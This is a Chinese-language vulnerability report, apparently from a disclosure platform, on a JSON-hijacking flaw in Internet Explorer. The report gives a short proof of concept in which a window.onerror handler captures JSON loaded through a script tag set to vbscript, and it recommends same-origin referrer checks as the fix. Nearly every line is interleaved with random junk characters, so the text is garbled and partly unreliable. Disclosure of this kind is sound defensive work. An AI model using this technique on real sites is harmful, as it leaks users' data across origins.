简要描述:3 [- a: y+ A! @ {8 n+ v v
7 l% f2 x- E I% U/ j9 V由于某些资源容器对数据处理不当导致json劫持漏洞.0 d& g3 @; O6 H: H. I# @
详细说明:
% T3 k% H. G. ?5 _5 b9 p4 a- R$ S由于ie支持vbscript,所以script元素可以指定成vbscript语言:# f) Y7 C" { f
<script language=vbscript></script>
: \0 K0 X( @0 @# J j( t ! H; z5 b, v. f1 D. z4 T
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
. m Q* q* k- ]6 H* L& ^! F$ H漏洞证明:
1 l; x6 M' \6 R<script>+ i6 V; G" F3 l& x3 Q) n
window.onerror=function(_){8 [. S+ D( m* |. u/ x4 k
alert(_); P5 b1 J1 [$ C5 o6 q. |% W
}
/ X% Q; g l2 s4 T5 Q0 z/ c</script>
1 S& G( `. y' t# g s$ y# P<script language=vbscript src=1.json></script>
4 X: x W: a e6 t1 R+ P' @ 3 A- {( e& y8 \' W' [6 g) S. S {
% C2 M. l& U( x1.json:8 A1 M' \( n" e
[{"name":"sogili","age":19}]
. ~/ }! V' ~ G! k7 V* z7 [5 m* k/ G+ O修复方案:; k1 k& i" `- W$ l% ~: h
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |